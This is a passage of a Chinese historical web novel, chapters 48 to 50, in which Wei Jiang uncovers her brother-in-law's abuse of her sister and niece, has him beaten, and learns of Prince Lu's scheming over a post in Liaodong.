宋氏看着窦明的脸色,颇有些疼惜道:“我带了些药材,这月子里可得好好养,别舍不得吃。”
卫莞一进来就选了个离卫姜远的位置坐下,不过也倒方便卫姜观察她了。
她的脸上盖潞厚厚的脂粉,总觉得有些怪异,和别人说话时,笑容也有些发涩。
难道出什么事了?
告辞时,一位夫人经过卫莞时不小心碰到了她的手臂,卫莞眉头皱了一下,虽然她很快就整理好了表情,但卫姜还是抓住了异样。
她的手有伤。
卫莞告辞后,卫姜也跟了出来。
见到她,卫莞浑身的刺都竖了起来,防备地看着她。
卫姜真是气结,这都什么人啊,就会窝里横。
“跟我来。”卫姜抓出她的胳膊。
卫莞疼的脸色都变了,竟然两只胳膊都有伤。
卫姜脸色一下子沉了下来,不顾卫莞的挣扎,把她推去自己马车,一进里面,卫姜就动手去查看她的伤。
两条手臂上青紫一片,卫姜想到什么,去脱她的衣服,脖颈处没有伤,腰后有两块。
“你被人打了?”卫姜说话的声音都带着冷意。
卫莞整理被她弄乱的衣裳,嘴硬道:“没有,还有不关你事。”
卫姜见她还在维护,一下就猜到是谁了,她腾地站起,“是不是姓丁的,他奶奶的,他敢打你!“
卫姜气的两手叉腰,她翻着自己的皮鞭,“我要去揍死他丫的。”
卫莞见姐姐满口说着粗话,整个人都呆住了,见她一副要找人算账的泼妇模样,她一下子就受不了,“我说了,不是不是,没有谁打我,是我自己弄的。”
“你为什么总觉得我会被人打,就因为我这个县主没你尊贵吗?”
卫姜被她的突然爆发吓到了。
“我……我不是那个意思。”
她只是觉得卫莞这个人有时候太死心眼了,容易被人家忽悠。
她指着卫莞身上的伤,“你说不是他,那是谁弄的?你别说是你自己摔的,摔不成这个样子。”
卫莞整理好仪容,转身下了马车。
“我的事不用你管,麻烦你下次行事用用脑子,不要脾气一上来就不管不顾,实在太丢人了。”
卫姜看着她远去,气
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的半天缓不过气来,到底是谁没有脑子啊!
外强中干的玩意儿,装什么大鼻子蒜,要不是母襄阳郡主对她好,让她多看着自己这个妹妹,要不是看在兰姐儿的面上。
自己才不管她的闲事呢?
对,是这样没错,她掀开车帘子,“去卫府。”
襄阳郡主每日午后都要睡上两个时辰,雷打不动,卫姜来的时候她刚刚睡下没多久,总不能把老娘叫醒吧。
她只好去宋氏那里说会儿闲话,说着就说到了卫莞,这才得知这人竟然好久都没回过娘家了。
上次苏青惊马,她也只是来看了看,立马就回去了,好像是说丁姑爷的差事有什么变动?
“看不出来,这丁姑爷倒是挺有官运的。”宋氏羡慕道。
一般人进了兵部不得坐个几年冷板凳,这丁姑爷刚进去就要被重用。
卫姜点头:“那挺好的。”
确实挺好,两个姑爷都有前途,她的儿子们以后也能沾沾光。
“他们两口子有没有闹矛盾?”卫莞身上的伤不可能是自己弄的,那除了姓丁的也不敢有人那么对她吧。
只是她为什么要维护姓丁的,卫姜是在是想不通。
宋氏摇头:“应该没有吧,小妹她看着温婉其实性子要强的很,就算是闹了矛盾怕是也不会跟我们说。”
她一贯不喜欢姐姐行事,姐姐有个什么风吹草动就会弄的人尽皆知,而卫莞就和她反着来,什么事都藏在心底。
连和她能说上几句话的大嫂都不知道,襄阳郡主这个做娘的更是一无所知,卫姜也没敢告诉她卫莞的伤。
只借口说自己想妹妹了,来问问她的近况。
襄阳郡主竟然也相信了这荒唐的借口,还夸她长大了懂事了,知道不和妹妹计较了。
这话听着心都偏到胳肢窝了,难怪卫莞什么话都不跟娘家说。
睡前,卫姜问起丁恭良在兵部的差事,窦绍有些奇怪她怎么忽然想起问他了。
卫姜道:“我今日听大嫂的意思,他好像又受了提拔?”
窦绍笑道:“看来消息都传出去了,听说要派他去辽东办事情,事情办好回来应该可以升一升。”
“你问这个干什么?你妹妹让你问的?”
卫姜摇头,苦着脸想了一会,还是把今日的事情跟他说了一遍,“我怀疑是不是姓丁的打了她。”
窦绍脸色严肃:“小妹不承认,你想要给她撑腰都不好插手,不过这个丁恭良看着是个文弱之人,他会动手打妻子?”
这是什么话,人不可貌相
卫姜瞪他:“他再文弱也是个男人,男人本就天生气力大于女子,你觉得卫莞还能打赢他?”
再说了,就卫莞那被贤妻教条荼毒坏了的脑子,说不定站在那里等他打呢。
“不至于吧,小妹怎么说都是县主。”丁恭良敢以下犯上?他不想要前程了?
只怕卫莞压根不想用这个县主的身份。
“不行,我明日要去一趟丁家。”不弄清楚她的心总是乱乱的。
“那你多带几个人。”听到丁恭良会暴起打人,窦绍有些不放心。
卫姜斜了他一眼:“你不是说他是个文弱书生,我可不是卫莞。”
“那他还是个男人嘛,要不你等我回来陪你一起去。”
他这是把丁家当龙潭虎穴了,带着窦绍一起去,还真是给他丁恭良脸了。
卫姜拍拍他的肩膀:“放心吧,相信本县主的威望。”
也只有卫莞那个傻蛋才会不当自己是县主,她卫姜这个县主还是当的挺威风的,潞王她提着马鞭都闯了。
她上了个请罪折子,皇上可没骂她,相反潞王被皇帝点了几句。
这次不过是区区一个丁家,谁敢打她不成。
不过还是要多带点人,防着卫莞脑子抽了。
48. 第 48 章
侍女们都退守在屋外,见到潞王来了,低头轻轻推开门。
屋里静悄悄的,葛月侧身躺在床上闭目眼神,她的身旁放着一卷刚看完的医书。
潞王坐在床侧的绣凳上盯着她看,半响没出声,葛月皱眉,微微睁开眼。
“殿下有事?”
“听说你不舒服这才没去苏家道贺,要不要给你请个太医。”
葛月觉得他的笑容刺眼,“我本来就是大夫。”
潞王偏过头,很是真挚的样子:“医者不自医嘛,小王这也是担心你,刚刚苏家可派人来问了,你看他们多关心你。”
葛月收回被他握住的手,感觉就像被一条毒蛇爬过,滑腻冰凉。
“殿下难道觉得我有脸面去苏家。”她坐起身,扯了扯被子苦笑道:“我的丈夫和……”她不知道用什么称呼叫那个人,含糊其辞继续道:“害了别人,我这个救命恩人你觉得不是讥讽吗?”
潞王眉毛一挑,笑着摇头:“错了,这可不是我的主意,我也是事后才知的,罪魁祸首可是他,你该明白他心中的恨意”
当时他本就知道拦不住新宜县主,不过是为了拖拖时间好让人把尾巴收拾干净,如今该死的都死了,苏家查不到什么的。
“又不是你做的,你心虚什么?”潞王凑近她:“最近你的行事有些过于良善了,可不像是我以前认识的苏小姐,当初多么果决的一个人,借我的手害对你信任有加的太子妃可是眼都不眨的,如今是怎么了,生了慈悲心了?还是因为……信王?”因为那人是信王所以她愿意做任何事。
葛月猛地抬头不可置信地看向他:“你胡说什么,你不用提醒我做过什么,我只是觉得你们太下作,苏青和窦明和你们的大局有什么关碍,何必朝妇孺动手。”
潞王笑容滞了一下,眼神带着不明的意味:“太子妃不也是孕妇,也没见你心软啊,你说这么多冠冕堂皇的话,不过是因为这两人没什么大用,所以你才这么正义凛然地说着指责的话,来显得你品节高尚,和我们不一样,其实……”潞王点了点她的胸口,又指了指自己,笑着道:“我们都是一样的人,不是什么好人,害人就是害人了,不能因为那个人的身份不一样,你的态度就不一样了。”
潞王往后一靠,双手抱胸看着她:“你也看到了,柳公实在是给我添了不少麻烦,看在王妃你的面上我一再给他机会,你刚刚有句话说的对,我没有理由去动苏家大小姐和窦少夫人,除了惹怒三家对我没有丝毫好处。”他弯腰低头看着她:“我希望王妃能去劝劝他,收收手,下次王妃的面子也不顶用了,我是缺钱,可江南也不止一个柳家。”
葛月脸色很难看,硬邦邦道:“殿下何不自己去跟他说。”
潞王笑道:“你们毕竟是最亲近的人,有些话比较好开口。”
他起身整理衣服,一脸体贴道:“王妃好好养着,小王过几日再来。”
***
丁家今日来了贵客,不但主子们很重视,就连府里的下人也噤若寒蝉,规矩都比平日里齐整了几分。
特别是进入花厅侍候的人,一个个带着小镜子照来看去,就怕会出错受罚。
就算是这么吓人,大家还是想要去露露脸,不为别的,县主出手大方啊,随便打赏一下顶得上她们半个月月钱了。
同样是县主,怎么做姐姐的就这么威风,相反自家主母就过于随和了。
她们今日算是长了见识,果然是皇室宗亲,天潢贵胄,县主就如此,也不知道公主出行是何等的排场。
“今日是特意来我府里摆威风的?”
厅里就剩下姐妹二人,卫莞脸色一下子就冷了下来。
刚刚自家乌泱泱一大片妾室与孩子,在卫姜面前连头都不敢抬一下,就好像老鼠见到了猫,卫莞就觉得难堪,甚至觉得她就是来嘲笑自己的。
“我有那么无聊吗?”卫姜没好气地放下茶盏,看她:“你真不知道我为什么来?”
卫莞不自在地坐下,“我不是都说了吗,这事不用你管。”
卫姜做势起身,“那行,我就去请娘来你府上摆威风。”
卫莞一把拉住她的手,紧张问道:“你告诉娘了?”
“现在去说。”
卫莞抱住了她的胳膊,有些无奈道:“你到底要干什么,娘年纪大了,你怎么还是这么任性妄为。”
卫姜转身盯着她:“倒底是谁任性,是谁让娘担心了?你要是真为长辈着想就不应该这么不爱惜自己。”
她忽然板着脸的样子让卫莞有些害怕,她手指蜷缩了两下,肩膀一松:“我真的没事,那伤看着吓人,这事也不用惊动长辈们,他保证不会有下次了。”
“真是他,这个狗东西,还敢动手了。”说着撸衣袖就要干人了,眼神里都带着杀气。
卫莞吓的抱住她腰,结结巴巴道:“他……他不在家,你冷静点,不是他打得,是误伤,误伤。”
“最近他心情不太好,又一次喝醉了把我当成别人了,事后他跪着向我赔罪,保证不会了,我也答应他不跟两边长辈说。”
这桥段怎么这么耳熟呢?
“又?难道这不是第一次动手了?”
卫莞摆手,“没有没有。”
以前没有动手过,只是他遇到事情时总会喝酒,喝醉了就难免言语有些冲撞,清醒过后他也懊悔,会向她认错乞求原谅。
他也答应过戒酒,只是……官场不顺,他心情难免郁结,喝酒是他唯一的消遣了。
“也对其他人动过手?”
卫莞替丈夫辩解:“他只是性子急躁了些,是那些人不够体贴温柔,不懂他的心思,他有时候就激动了点。”
这是个家暴男啊!
“什么性子急躁,怎么不见他打他爹娘,打他兄弟,打他同僚呢?”卫姜狠狠戳他的头,“你脑子里面装的什么,你是县主,他敢对你言语不敬已经是不恭,动手更是大罪,你还替他瞒着,你是不是傻了?”
也不知道刺激到了卫莞哪一点,忽然就爆发了,她拔开卫姜的手,质问她:
“不然呢?我该怎么办?学着你的样子,把丁家折腾的人仰马翻不得安宁吗?还是说,我能休了他然后回卫家?出了一个你就已经让家里名声扫地了,我若也如此行事,岂不是真应了别人的话,卫家家教不严,女儿都是悍妇吗?我忍了也有错吗?是,我也是县主,可我没有你的底气,没有你的尊贵,我深怕别人说:看,她跟她姐姐一样骄横跋扈,。”
“我害怕别人指指点点的眼光,我不能像你那么自私,只顾自己痛快了,我是做姑母的,我要替卫家下一辈女孩子着想,她们还要嫁人。”
她顿了一下,喃喃道:“就算不为她们,还有兰姐儿,她是我的命,我能怎么办?”
她擦干眼泪,强装坚强,“说给你听你也明白不了,这是我的家事,不需要你来插手,你回去吧。”
卫姜被她一顿输出,听的一愣一愣的,见她赶人,气的都要炸了。
“都是什么歪理,这些是他打人的理由?你这是在助长他的恶性,今日装醉打你,明日就能睡到半夜踹你,后日稍有不顺就揍你,就因为你一次次忍了,他的胆子才会这么大,你的容忍体贴对他来说就是纵容。”
卫姜摇着她的肩膀:“你脑子里是不是屎,你是被谁洗脑了吗?还是你当贤妻当的失了智。”
“那你要我怎么办?打他一顿吗还是杀了他?妻殴夫是重罪。”卫莞淡淡道。
“你是县主。”卫姜道,县主是皇家宗亲,有品级封号,可不是一般的妻子。
“你是要
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毁了我的家。”她黝黑的眼珠子盯着卫姜。
要是去官府举告,丁恭良别说做官了,弄不好一个大不敬,杀头都是有可能的。
以后她怎么面对兰姐儿,父亲是自己娘亲杀的,她的女儿也毁了
不行,绝不可以。
“你走,我不要你管。”卫莞指着门外,情绪有些激动。
“娘,姨母。”
门口处伸出个脑袋,双眼含泪,声音怯生生的,显然是被屋里情形吓到了。
两人立马调整了情绪,卫莞慈爱地伸手,“你怎么过来了,不是跟师傅在学画。”
兰姐儿依在娘亲的怀里,解释道:“师傅说我功课好,今日姨母来了特意放我半日假。”
“您和姨母怎么了?”她打量着两人,娘亲好像和姨母吵架了。
卫姜招手让她过来,“姨母和你娘亲说话呢,声音大了点是不是吓到你了。”
卫莞也挤出一丝尴尬的笑容。
卫姜疼爱地摸了摸外甥女的小脸蛋,刚把手放在她肩上,就听到兰姐儿嘶的一声,整个脸都皱起来了。
“怎么了?”卫莞立马过来查看,翻开衣领就看到红肿了一大块。
“那些下人都是怎么伺候的?”她的脸色冷的下人。“张嬷嬷。……”
“娘,不管嬷嬷们的事,是我不小心自己摔了一下弄到的。”
卫姜看着这熟悉的场景,冷笑出声:“你可真是把女儿教的好,你是准备让她跟你一样=活的这么憋屈吗?”
卫莞呆住了。
她撇开卫莞,蹲下看着兰姐儿:“兰姐儿是乖孩子,乖孩子是不能撒谎的,你要是不说实话会连累那些照顾你的婆子丫头们。”
兰姐儿手指不停地抠着衣袖,紧张地咬唇,姨母虽然笑的很好看,可她怎么觉得有些吓人。
“兰姐儿和姨母说实话,你是怎么受伤的,你知不知道,受伤了不说你娘会很伤心的。”
兰姐儿小心翼翼地看了一样母亲,还是忍住没说。
卫姜心里有谱了,“你爹只是让你别告诉你娘,你跟姨母说不算是失信。”
兰姐儿瞪大了眼,姨母怎么知道的。
“你爹爹打你了!”卫莞声音尖利的刺耳,她紧张地查看着女儿全身。
兰姐儿连忙摇头:“不是的,爹爹不是故意的,他只是一时情急没留意。”
昨日傍晚她和弟弟们在园子里玩,父亲刚好经过,看到弟弟就摔倒了,父亲紧张之下才把她伤到了。
父亲说了,他是没留意到自己,把她当成了小丫头。
卫姜讽刺朝卫莞一笑:”熟悉吗?“
这说法是不是很熟悉
“等下是不是又准备让他写几分保证书?”卫姜继续刺激着卫莞。
……
今日衙门事情不多,丁恭良回来的早,路上想到昨日弄伤了女儿,担心会被妻子发现,加上前两日他没忍住又伤了她,便准备买些东西回去哄哄。
特意吩咐马车从前门大街经过。
他提了好几盒女儿爱吃的糕点还有各种珠花玩意儿直奔后院,刚过垂花门就觉得有些不对劲。
平日里家中仆人们看到他回来早就围上来了,还有那些侍妾们,可不是什么老实人,竟然半路来堵人,今日倒是清静的很,半天了连个到处乱走的人都没有。
什么时候家里规矩这么严了?
他嗤笑一声,进了正房的院子,廊下垂手低头站满了人,一个老嬷嬷满脸急色地走过来,
“老爷快走,县主在。”
他头皮一麻转身就要走。
县主,他只想到一个人,家里下人都是称呼卫莞夫人的。
嘭的一声,门被人从里关上了。
“妹夫,这是要去哪里啊?”
49. 第 49 章
卫莞手紧紧地抓着门框,见丁恭良被打的厉害,颇有些不忍地别过头去,对身边的嬷嬷道:“去外面看着点兰姐儿,别让她被这里动静引来了。”
那嬷嬷脸上显露有诧异,但很快就带着笑意下去了。
小姐自嫁来丁家就过的憋屈,就该让县主闹一闹,也好让那些不长眼的人知道,这是京都可不是那乡下小地方。
夫人也是有撑腰壮胆的人。
“夫人,好娘子,你救救我,我快被打死了。”丁恭良抱着头东躲西窜,身上不知道受了多少拳脚,反正哪里都疼,他朝卫莞方向哀求
“还敢求饶,你也知道疼,我看你下次还敢不敢动手。”卫姜亲自上前狠狠抽了两鞭子。
她可就没有那些下人有经验了,准头不太稳,劈头盖脸的抽,一道道印子从脸颊到脖颈,本就平凡的脸更是不能入目了。。
丁恭良看卫莞半天不敢出声,心里知道是指望不上了,转头扑通一声跪在卫姜脚下:“大姐,县主饶命,我再也不敢了,我日后一定把夫人供起来,下次我要是再犯浑,我……”他眼珠子乱转,发狠道:“你就剁了我的手。”
卫姜伸手指他:“你说的?”
丁恭良忙点头。
卫姜笑道:“行,这次就饶了你,再有下次,这里都是人证,我这人较真,一定会按照我们约定好的办。”
她用皮鞭不轻不重地在他头上敲了两下,丁恭良只觉得后背上爬了一条毒蛇,只觉得那笑容更是瘆人。
那些下人停了手,丁恭良以为终于逃出生天,可他还是低估了她的恶毒。
“再给他几拳,让他记得牢一点。”卫姜轻飘飘落下两句话。
下人狰狞地扑了上来,这个恶妇!活该她被窦绍嫌弃!
丁恭良在疼痛中竟然有几分同情窦绍,说不定权势滔天的窦大人,日常过的就是这种日子。
这么一想,他忽然间又觉得心里好受了很多。
他努力把头抱紧,心里数着数,她说了几拳,那肯定最多也就到十就差不多了。
卫姜走到卫莞身边,对她道:“你真的不去打几下?很解气哦。”
卫莞看了一眼她正在揉腕子的手,嫌弃道:“不去,我怕手疼。”
卫姜尴尬地放下手:“既然你不想告官,我也依你,那就用我的方式温和解决。”
卫莞有些无语,这是温和的手段?都快把人打成猪头了。
“我跟你说对付他这种人,你就得比他狠。”这种家暴男只会欺软怕硬,你越好欺负,他越是喜欢得寸进尺。
看看他现在被打的跟条狗一样,不是乖了很多。
卫莞未置可否:“行了,你也打的差不多了,回去吧,后面的我来弄。”
卫姜看她:“你行不行,可千万不能心疼他。”
心疼渣男会更不幸。
卫莞斜了她一眼:“在你眼里我是不是一无是处,连这点事都做不好,你唱了白脸也该有人唱红脸了,难道真的要把他逼得狗急跳墙。”
这人怎么回事,怎么跟她说话就老是话里带刺,卫姜有些不满。
“是是是,你厉害,属螃蟹的,就会窝里横。”最后一句说的很轻,压根没敢让卫莞听见,别又刺激了她敏感的神经。
卫莞皱脸,听不懂她说的什么。
自己明明属羊的。
……
“嘶,轻点,笨手笨脚的,都是蠢货。”
抢过丫鬟端来铜镜,看着那面目全非的自己,丁恭良都想把镜子砸了,这张脸明日是出不了门了,他可还有重要的事情呢。
“新宜县主也太跋扈了些,我好歹也是朝廷命官,要不是看在亲戚的份上,我一定要她好看。”丁恭良说着狠话。
“可能还没走远哦。”药味有些冲,卫莞嫌弃地在对面坐下,却更能看清那张让她恶心的嘴脸。
丁恭良紧张起来,四处查看,见人不再这才松口气。
丁恭良看了她一眼,颇为不满道:“妻以夫为天,今日夫人可不是做贤妇的样子,你也不怕传出去会被人说卫家的闲话,丈夫被人殴打,做妻子的在一旁无动于衷。”
要是以往他说这话,卫莞定然要拼命证明自己是个温婉贤惠的妇人,可今日却很是平静,眼底好像在酝酿着风暴。
“我要是什么都没做,你脖子上了这颗头早就掉了。”
那冰冷的语气吓的丁恭良头一缩,竟然不自觉去摸自己的脖子。
还好,头长得好好的。
“好好的说这么吓唬人的话。”他尬笑着,觉得今日的卫莞是真的有些不一样。
他看了一眼妻子,还是气不平,这顿毒打可真是让他颜面尽失,府里下人怕是都在笑话他了。
越想越气,他嚷嚷道:“不能就这么算了,我要到宗人府去告他,她是县主,你不也是县主吗?”
卫莞第一次觉得这男人果然是蠢:“她连亲王府的门都敢闯,宗人府说什么了?连宫里都没半句话,倒是潞王还被皇上说对下人管教不严。”
丁恭良被噎了一下:“今日你是怎么回事,我说一句你顶一句,是做妻子的样子吗?”
“我还没说你,同样是县主,你怎么就这么窝囊,别人冲到府里打你的丈夫你也就看着。”
卫莞抬头看向他:“我这个县主不窝囊你还能坐在这里?”
丁恭良眼神躲闪:“那事不是已经跟你赔罪了,今日我这一身伤你还没出够气?。”
卫莞沉吟不语,片刻后冷不丁问道:“你昨日打了兰姐儿?”
丁恭良惊的站起身,他知道女儿是妻子的眼珠子,他就说今日怎么跟变了个人似的,整个人都阴阳怪气的,敢情是误会他了:
“她跟你说的?这孩子怎么说谎呢!”
“有没有?”她冷眼看他,继续逼问
丁恭良气的跺脚发誓,红肿的脸更鲜艳了:“我也是一时没留意误伤了她,她是我的女儿,我怎么会对她动手。”
卫莞见他这激动的样子,勉强信了三分,她头微微抬起,竟有几分新宜县主的睥睨之态。
是啊,她们是姐妹,本就有几分相似,只是以往卫莞温婉,没有新宜那么气盛罢了,如今变了态度,让丁恭良心头有些发怵。
他刚刚才被打了一顿,不是又要打她吧。
卫莞见他那怂样,颇有些鄙夷,想到他刚刚在卫姜面前露出的窝囊样子,更是嫌弃,这个蠢人竟然只挨了几下打就求饶了,全无气概,让她在卫姜面前丢尽了脸。
只怕卫姜又要笑她挑丈夫的眼光不堪,更加会觉得她那么维护他是愚蠢。
她是真蠢,怎么就信了他,被他的那些话拿捏呢?去他的贤妻!
“最好不是,你要是动兰姐儿一根手指头。”她眼神打量着他的四肢,阴森道:“我卸了你,信不信?”
丁恭良是真被她吓一跳,一个屁墩跌到在地,他手指抖抖指向她。,好像第一次认识她。
他就知道,她跟她姐一样!他惊恐地看向院外,真怕她一声令下那些人会冲进来把他卸了。
卫姜走的时候,可留了不少打手给她。
想到这些人他都觉得身上更疼了。
太狼狈了,卫莞脸上带着鄙夷,扫了一眼旁边的侍女道:“继续上药吧。”
说着就起身往外走,走到一半顿住,丁恭良本来已经坐下了,见她转身吓的又站起。
卫莞忽然觉得有些好笑,她一直厌恶成为姐姐那样的人,今日却发现这粗暴的手段更有用,对付有些人更有震慑力。
“明日我让人去衙门给你告假,你留在家里好好养伤。”
“不行,我兵部一堆事等着。”丁恭良立马拒绝。
卫莞讥讽道:“怎么?想顶着一脸的伤出去博同情让全京城的人来诋毁我们姐妹?”
这是诋毁吗?难道不是实情,但面对卫莞那无情的目光,丁恭良识时务地咽下了话。
告几天假应该也没事。
***
今日窦绍回来的比较早,见卫姜不在家女儿又没带去,便知道她今日去丁家怕是气氛不会太美好。
他刚坐下,卫姜就回来了。
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卫姜今日也是进行了强体力活动了,又累又渴的,端过窦绍的茶就喝了下去,窦绍忙给她又倒一杯。
“怎么样了?问出来了吗?小妹可还好。”
卫姜眉毛一竖,重重地拍下杯子:“就是他这个人渣动的手,我把他狠狠揍了一顿。”
窦绍愣了一下,皱了下眉头,卫姜斜着眼不满地看他:“怎么?你同情他?”
窦绍颇有些无奈,“怎么会呢?我只是觉得你冲动了,万一你人手带的不够,那毕竟是他的府邸又或者是那丁恭良胆大包天凶性大发,让人伤了你怎么办?下次还是别如此行事了。”
卫姜:“那也是卫莞的家,她再糊涂也不可能联合外人欺负姐姐吧。”
“那是她丈夫,她孩子的父亲,是她最亲近的人。”窦绍不赞同外人这个说法,他总觉得卫姜的话,也在影射他,他也是做丈夫的,看向她的目光中带着委屈。
卫姜眼睛四处飘,在她心里,丈夫确实没有自己的家人亲近,倒是把窦绍也给扫了。
“他也配当父亲,昨日他还伤了兰姐儿。”卫姜开始第二道控诉
“这个畜生。”窦绍眼神瞬间冷了下去
同仇敌忾,卫姜满意他这个表现。
“你今日有什么收获吗?”卫姜问道,她知道窦绍肯定会去查丁恭良的。
窦绍:“确实有些奇怪。”
窦绍一直以为他进兵部走的是潞王的门路,可最近又发现,他借着卫莞的关系频繁接触东宫。
让他去辽东办差背后也有太子的意思,想来是准备重用他。
卫姜凝眉,这人品行这么差,又和潞王勾勾搭搭的,如今看着又去钻营东宫,怎么看怎么怪异。
“他这人品不行,能不能别让他去辽东了,总觉得没好事。”说不定潞王要对辽东做什么坏事呢。
如今卫贺也在辽东呢。
窦绍:“你把我看的太厉害了,我又不是吏部的人,如何能随意干涉官员任职升迁。”
你太谦虚了,你何止干涉别人升迁,原书中你可是随意就能断人前途的,只要得罪你的人,前途基本就完了。
她的眼神怪怪的,看的窦绍有些不自在。
“除非他出了什么意外情况,我或许可以活一二。”他幽幽开口,意有所指。
卫姜双眼一亮:“有啊,我不是把他打一顿吗?起码三天出不了门,要是还不够……”
她看了眼四周,小声道:“要是时间还不够,我让卫莞再想想办法,让他出不了门。”
比如下个药什么的?
***
柳大福一脸急色地进了潞王府。
“去叫殿下,就说我有急事找他,快。”
下人应声而去,柳大福在书房里来回踱步。
“出什么事了?”潞王来的很快。
柳大福那张方圆脸有些黑,“辽东的事情不成了,那个丁恭良忽然出了意外,兵部和吏部另换了人选。”
潞王脸色也变了:“什么时候的事?太子那边怎么说?”
“就今日,我们消息得到的晚,来不及另外安排人了,丁家人向兵部告了长假,说丁恭良病了,太子是个宽恤的,哪能不同意。”
潞王坐不住了,辽东是他棋局里最关键的一步,这个丁恭良坏了他的大事。
“他病的要死了吗?”最好是病死了,不然饶不了他,潞王表情发狠。
柳大福嗤笑道:“什么病了,他是被新宜县主堵在家里殴打了一顿,不过……”他面有狐疑:“就算是被打了,也不至于要告长假。”
他看向潞王:“难道新宜县主知道了辽东的事情?”
他觑着潞王的脸色越来越差,觉得是时候拱一把火了:“这个新宜实在是太多事了,我们多少事情都坏在她手上。”
随口提了建议道:“要不要给她找点事情,我记得她儿子在江南,南边我熟的很。”
潞王转头看向他,想到这些日子的不顺,挣扎片刻道:“不要伤了他的性命。”
算是给他们的一个警告。
50、第50章(万字)...
“不穿这个,换那件红色的。”喜庆,而且那件衣裳还是襄阳郡主送来的,穿着去老人家也高兴。卫姜正让乳娘给小卫儿换完衣裳,窦绍走了过来,摸了摸女儿的小手,道:“外面再加个斗篷,今日人多,你们多看着点她。”他对侍候的婆子们说小卫儿才刚过了周岁宴,如今正是对外界格外感兴趣的时候,在屋里是待不住的,窦绍怕拘着女儿又怕冷着女儿。只能让她多穿了,可惜他的宝贝女儿没有领情,穿的厚厚她不舒服,她扭着身子不想穿,用两只好看的凤眼瞪着父亲,摇着小拳头表示不满。就连他的抱抱都不想要,往母亲的怀里拼命拱。
“这可不行,我可抱不动你。”
卫姜伸出两根手指抵住她的小脑袋,小卫儿一下子就委屈了,扁着嘴巴,眼中含泪要掉不掉。
这可怜兮兮的模样,让窦绍软了心肠,立马就没有原则了。
“爹爹抱,不穿就不穿,等我们冷的时候穿好不好?”
小卫儿一秒收回了委屈样,对着父亲甜甜一笑,还不忘用余光瞟向娘亲,脸上得意的小表情看的卫姜手痒痒。
“你个戏精,跟小猫一样说变脸就变脸呀。”说着伸手去掐她的小肉脸。
窦绍心疼的不行,忙拉开她的手,“都红了,你轻点。”
小卫儿一点也不觉得疼,被逗的咯咯笑。
“走吧,时间差不多了。”窦绍顺势牵住卫姜的手往门外走去。
今日是孙家向卫家下聘礼的日子,宋氏早就吩咐让他们早点过去。
当初宋氏一眼就替D巧珍瞧中了孙文才,得知孙文才是窦景的好友,她还托卫姜从中牵线搭桥,算是走了后门把这个贵婿抢到手了。
孙家人口简单,孙文才也有前途,唯一不好的是家境清寒了点,不过这也不是什么大事,卫家把女儿的嫁妆弄丰厚点就是了。
京城中谁不羡慕卫家结了门好亲,多少人盯上了孙文才,只是没有卫家占便利罢了。
今日卫家门庭若市,下人们披红戴花好不喜庆。一家三口刚下马车,留守在家的下人就追来了。
“大人,宫里来人,说是有紧急公务。”
两人对视一眼,卫姜道:“那你快去吧,我跟大哥大嫂解释下。”
窦绍把女儿交给后面的婆子,替她整了整小帽子,对卫姜道:“我忙完了来接你。”
宋氏带着儿子儿媳刚迎出来就看到窦绍离开的背影:“妹夫这是………”
“宫里传召。”
宋氏笑道:“正事要紧,你们来的正好,孙家送聘的人也快来了。”
孙家这聘礼一到,这婚事也就稳了。
卫姜先是带着女儿去见了母亲,DT巧珍陪在祖母身边,今日是她的大日子,她只是穿了一件比平日里略新的衣服,见到姑母来了,她红着脸见完礼就害羞地跑开了。卫莞也到了,见到姐姐依旧冷着脸,襄阳郡主拼命地和稀泥,怕两个女儿一言不合又吵起来。
听说前些日子,阿姜跑到莞儿府里把姑爷给打了一顿,襄阳郡主心下是觉得定然有缘由,但就怕莞儿记恨着。
今天这个日子可不兴吵起来。
她这是做了什么孽,生了这么两个东西,她忙让婆子丫鬟们把两个孩子带走,又准备把两个女儿支开。
“你去你嫂子那里看看,帮她招呼招呼客人。”她对卫姜道。
今日是卫家好日子,宋氏就算是忙不过来,还有儿媳妇呢,哪里就轮到她招呼客人了
襄阳郡主很明显是想打发大女儿走,把小女儿拘在身边,这样两人总不会对上了吧。
卫姜也不和她对着干,很听话的走了
但她没有走出多远,在回廊处就停住了,等了一会儿,卫莞也出来了。
“什么事?”卫姜找了个位置靠住。
卫莞嘴角抽动两下,有些嫌弃她站没站相。
“辽东那边到底怎么回事?前些日子你那信是什么意思,他这份差事有什么不妥?”
卫姜讶异,她竟然不知道这事,那她怎么那么配合把丁恭良按家里了,如今朝廷派往辽东的人都走到半路了吧,她现在才想起问。真是服了。
卫莞:“我那是信我姐夫,可不是相信你。”她强行挽尊。好吧,窦绍的功劳,卫姜不惯她:“那你去问你姐夫吧。”
卫姜走了两步,见后面没动静,悄默默转过头,见卫莞目光不善地看着她。
卫姜没奈何,“开个玩笑,找个地方我告诉你。”
两人去了一个僻静处,卫姜把事情说了一遍,也把自己和窦绍的猜测告诉了她。
卫莞听后脸色有些凝重:“我没想到他竟然和潞王搅合到了一起。”
她当初一心奔着贤妻人设,对丈夫在外面的事情也不多加干涉,如今清楚了他是个蠢人,为了女儿,她不得不多想一些。
“你真的一点都没发觉?”她知道被卫姜嘲笑,但……她确实没有留心过。
卫莞只记得回京前有一段时间丁恭良心情很不好,好像是差事出了什么纰漏,他不让她多问,她也就没放在心上,后面见他又得到提拔调回京城,她就更没有往别的方面想了。如今回过味来看,却是处处蹊跷,丁恭良为人功利,自视甚高,他如何肯跟一个看不到未来的皇子搅合到一起。
怎么看风险都比好处大得多。
“难道他有把柄被他们抓住了?”卫莞低声囔囔道。
想到这个可能,心都提起来了。
那段日子他如惊弓之鸟,惶惶不可终日,一定是出了大纰漏的,怎么可能忽然间就解决了。
卫莞捶打着自己的脑袋,她确实有些蠢了,怎么就没多留意点呢。
“他不会犯了什么要命的事吧?”若是牵连了家小,卫莞真是活剐了他的心都有了。
卫姜安抚她,“没事的,不要吓自己,既然路王那边没有爆出来,说明他还有用,这样,你回去悄悄查清楚到底是什么事,也好找到应对的办法。”
卫莞已经有些慌神了,她抓住姐姐的手:“我和兰姐儿可怎么办?”
她心底忽然闪出一个想法,干脆一碗药让他归西得了。
反正他不是老怀疑自己下药了吗?
卫莞心底冷笑,干脆做实好了。
当初卫姜给她的建议确实是在药里做手脚,不过卫莞想了想,这样太粗暴简单了,别人要是一查很容易被发现。
看到后院那一群女人,她想到一个绝妙的主意,丁恭良爱吃海货,那些妾室们为了邀宠亲手做羹汤是常有的事情。
